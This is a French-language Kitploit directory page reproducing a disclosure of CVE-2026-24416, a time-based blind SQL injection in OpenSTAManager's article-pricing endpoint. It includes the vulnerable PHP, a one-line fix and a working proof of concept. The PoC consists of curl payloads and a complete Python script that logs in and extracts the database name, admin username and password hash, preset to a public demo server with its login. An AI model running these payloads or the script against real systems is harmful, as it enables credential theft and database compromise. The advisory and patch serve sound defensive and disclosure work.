Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/lukasz-rybak/cve-2026-24416
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHublukasz-rybak/cve-2026-24416

CVE-2026-24416

CVE-2026-24416 - OpenSTAManager présente une injection SQL aveugle basée sur le temps dans le module de tarification des articles.

Voir le dépôt
2il y a 5 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-24416 : Injection SQL aveugle basée sur le temps dans le module de tarification des articles d'OpenSTAManager

Vue d'ensemble

ChampDétails
Identifiant CVECVE-2026-24416
SévéritéÉLEVÉE
Avis de sécuritéVoir l'avis
Découvert parLukasz Rybak

Produits concernés

  • devcode-it/openstamanager (versions : <= 2.9.8)

Classification CWE

  • CWE-89 : Neutralisation incorrecte des éléments spéciaux utilisés dans une commande SQL (« Injection SQL »)

Détails

Résumé

Une vulnérabilité critique d'injection SQL aveugle basée sur le temps dans le module de tarification des articles d'OpenSTAManager v2.9.8 permet à des attaquants authentifiés d'extraire l'intégralité du contenu de la base de données, y compris les identifiants des utilisateurs, les données clients et les enregistrements financiers, par le biais d'attaques par inférence booléenne basée sur le temps.

Statut : ✅ Confirmé et testé sur une instance en production (v2.9.8) et demo.osmbusiness.it (v2.9.7) Paramètre vulnérable : idarticolo (GET) Point de terminaison concerné : /ajax_complete.php?op=getprezzi Module concerné : Articoli (Articles/Produits)

Détails

OpenSTAManager v2.9.8 contient une vulnérabilité critique d'injection SQL aveugle basée sur le temps dans le gestionnaire de complétion des prix des articles. L'application ne parvient pas à assainir correctement le paramètre idarticolo avant de l'utiliser dans les requêtes SQL, ce qui permet aux attaquants d'injecter des commandes SQL arbitraires et d'extraire des données sensibles par inférence booléenne basée sur le temps.

Chaîne de vulnérabilité :

  1. Point d'entrée : /ajax_complete.php (ligne 27)

    root@kitploit:~
    $op = get('op');
    $result = AJAX::complete($op);
    

    Le paramètre op est récupéré, mais la vulnérabilité réside dans d'autres paramètres.

  2. Acheminement : /src/AJAX.php::complete() (ligne 189)

    root@kitploit:~
    $result = self::getCompleteResults($file, $resource);
    
  3. Exécution : /src/AJAX.php::getCompleteResults() (ligne 402)

    root@kitploit:~
    require $file;
    

    Les fichiers complete.php spécifiques aux modules sont inclus.

  4. Paramètre vulnérable : /modules/articoli/ajax/complete.php (ligne 26)

    root@kitploit:~
    $idarticolo = get('idarticolo');
    

    Le paramètre idarticolo est récupéré depuis la requête GET.

  5. Requête SQL vulnérable : /modules/articoli/ajax/complete.php (ligne 70) VULNÉRABILITÉ PRINCIPALE

    root@kitploit:~
    FROM
        `dt_righe_ddt`
        INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
        INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
    WHERE
        `idarticolo`='.$idarticolo.' AND
        `dt_tipiddt`.`dir`="entrata" AND
        `idanagrafica`='.prepare($idanagrafica).'
    

    Impact : Concaténation directe de $idarticolo sans prepare(), tandis que $idanagrafica est correctement assaini.

Contexte – Structure complète de la requête (lignes 39-74) :

La requête vulnérable fait partie d'une requête UNION qui récupère l'historique des prix à partir des factures et des bons de livraison :

root@kitploit:~
$documenti = $dbo->fetchArray('
    SELECT
        `iddocumento` AS id,
        "Fattura" AS tipo,
        "Fatture di vendita" AS modulo,
        (`subtotale`-`sconto`)/`qta` AS costo_unitario,
        ...
    FROM
        `co_righe_documenti`
        INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
        INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
    WHERE
        `idarticolo`='.prepare($idarticolo).' AND ...  # ✓ PROPERLY SANITIZED (Line 54)
UNION
    SELECT
        `idddt` AS id,
        "Ddt" AS tipo,
        ...
    FROM
        `dt_righe_ddt`
        INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
        INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
    WHERE
        `idarticolo`='.$idarticolo.' AND   # ✗ VULNERABLE - NO prepare() (Line 70)
        `dt_tipiddt`.`dir`="entrata" AND
        `idanagrafica`='.prepare($idanagrafica).'
ORDER BY
    `id` DESC LIMIT 0,5');

Cause racine : Le développeur a utilisé prepare() correctement dans la première instruction SELECT (ligne 54), mais a oublié de l'utiliser dans la deuxième instruction SELECT de la requête UNION (ligne 70), créant ainsi un modèle de sécurité incohérent.

Preuve de concept (PoC)

Étape 1 : Connexion

root@kitploit:~
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

Étape 2 : Vérification de la vulnérabilité (SLEEP basé sur le temps)

root@kitploit:~
# Test with SLEEP(10)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
  > /dev/null
# Result: real 0m10.32s (10.32 seconds)

# Test with SLEEP(3) - should take ~3 seconds
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
  > /dev/null
# Result: real 0m3.36s (3.36 seconds)

# Test without SLEEP
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
  > /dev/null
# Result: real 0m0.31s (0.31 seconds)
image

Étape 3 : Extraction de données – Nom de la base de données

root@kitploit:~
# Extract first character of database name
# Test if first char is 'o' (expected: TRUE for 'openstamanager')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.34s (SLEEP executed - condition TRUE)

# Test if first char is 'x' (expected: FALSE)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m0.31s (SLEEP not executed - condition FALSE)

# Extract second character (expected: 'p')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.34s (SLEEP executed - confirms second char is 'p')

# Extract first 3 characters (expected: 'ope')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms 'ope...')

Étape 4 : Extraction de données sensibles – Identifiants administrateur

root@kitploit:~
# Extract admin username (test if first 5 chars are 'admin')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms admin username)

# Extract first character of password hash (expected: '$' for bcrypt)
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
  > /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms bcrypt hash format)

Explication de la charge utile :

root@kitploit:~
Original payload: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
URL-encoded: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)

Injection breakdown:
1. 1 - Valid article ID
2. AND SUBSTRING(DATABASE(),1,1)='o' - Boolean condition to test
3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Execute SLEEP(2) if condition is true

SQL Query Result:
WHERE
    `idarticolo`=1
    AND SUBSTRING(DATABASE(),1,1)='o'
    AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
    AND `dt_tipiddt`.`dir`="entrata"
    AND `idanagrafica`=1

Exemple de script d'extraction automatisée :

root@kitploit:~
import requests
import time
import string
import sys

# Default Configuration
BASE_URL = "https://demo.osmbusiness.it"
USERNAME = "demo"
PASSWORD = "demodemo1"
SLEEP_TIME = 3  # Increased to 3s for stability on remote demo instance

def login(session, base_url, user, pwd):
    """Authenticates to the application and maintains session."""
    login_url = f"{base_url}/index.php?op=login"
    data = {"username": user, "password": pwd}
    
    print(f"[*] Attempting login to: {login_url}...")
    try:
        response = session.post(login_url, data=data, timeout=10)
        # Check if login was successful (usually indicated by presence of logout link or redirect)
        if "logout" in response.text.lower() or response.status_code == 200:
            print("[+] Login successful!")
            return True
        else:
            print("[-] Login failed. Please check credentials.")
            return False
    except Exception as e:
        print(f"[!] Connection error: {e}")
        return False

def extract_data(session, base_url, sql_query, label="Data"):
    """Extracts data character by character until the end of the string is reached."""
    print(f"\n[*] Extracting: {label}...")
    result = ""
    position = 1
    target_endpoint = f"{base_url}/ajax_complete.php"
    
    # Charset optimized for database names and bcrypt hashes ($, ., /)
    charset = string.ascii_letters + string.digits + "$./" + string.punctuation

    while True:
        found_char = False
        for char in charset:
            # Payload: If the condition is true, the server sleeps for SLEEP_TIME
            # Using ORD() and SUBSTRING() to handle various character types safely
            payload = f"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql_query}),{position},1))={ord(char)},SLEEP({SLEEP_TIME}),0))a)"
            
            params = {
                "op": "getprezzi",
                "idanagrafica": "1",
                "idarticolo": payload
            }

            try:
                start_time = time.time()
                session.get(target_endpoint, params=params, timeout=SLEEP_TIME + 10)
                elapsed = time.time() - start_time

                if elapsed >= SLEEP_TIME:
                    result += char
                    found_char = True
                    sys.stdout.write(f"\r[+] {label} [{position}]: {result}")
                    sys.stdout.flush()
                    break
            except requests.exceptions.RequestException:
                # Handle network jitter/timeouts by retrying or continuing
                continue

        # If no character from charset triggered a sleep, we've reached the end of the data
        if not found_char:
            print(f"\n[!] End of string or no data found at position {position}.")
            break
            
        position += 1
        
    return result

def main():
    s = requests.Session()
    
    # Allow target URL to be passed as a command line argument
    target = sys.argv[1] if len(sys.argv) > 1 else BASE_URL
    
    if login(s, target, USERNAME, PASSWORD):
        # 1. Database name extraction
        db = extract_data(s, target, "SELECT DATABASE()", "Database Name")
        
        # 2. Admin username extraction
        user = extract_data(s, target, "SELECT username FROM zz_users WHERE id=1", "Admin Username (id=1)")
        
        # 3. Password hash extraction (Bcrypt hashes are ~60 chars; the loop handles this automatically)
        pwd_hash = extract_data(s, target, "SELECT password FROM zz_users WHERE id=1", "Password Hash")

        print(f"\n\n{'='*35}")
        print(f"         FINAL REPORT")
        print(f"{'='*35}")
        print(f"Target URL: {target}")
        print(f"Database:   {db}")
        print(f"Username:   {user}")
        print(f"Hash:       {pwd_hash}")
        print(f"{'='*35}")

if __name__ == "__main__":
    main()
image

Impact

Utilisateurs concernés : Tous les utilisateurs authentifiés ayant accès à la fonctionnalité de tarification des articles (généralement les utilisateurs qui gèrent les devis, les factures et les commandes).

Correctif recommandé :

Fichier : /modules/articoli/ajax/complete.php

AVANT (vulnérable – ligne 70) :

root@kitploit:~
WHERE
    `idarticolo`='.$idarticolo.' AND
    `dt_tipiddt`.`dir`="entrata" AND
    `idanagrafica`='.prepare($idanagrafica).'

APRÈS (corrigé) :

root@kitploit:~
WHERE
    `idarticolo`='.prepare($idarticolo).' AND
    `dt_tipiddt`.`dir`="entrata" AND
    `idanagrafica`='.prepare($idanagrafica).'

Crédits

Découvert par Łukasz Rybak

Références

  • https://github.com/devcode-it/openstamanager/security/advisories/GHSA-p864-fqgv-92q4
  • https://nvd.nist.gov/vuln/detail/CVE-2026-24416
  • https://github.com/advisories/GHSA-p864-fqgv-92q4

Avis de non-responsabilité

Cette CVE a été divulguée de manière responsable, conformément aux pratiques de divulgation coordonnée des vulnérabilités. Les informations fournies ici le sont uniquement à des fins éducatives et défensives.

Télécharger l’outil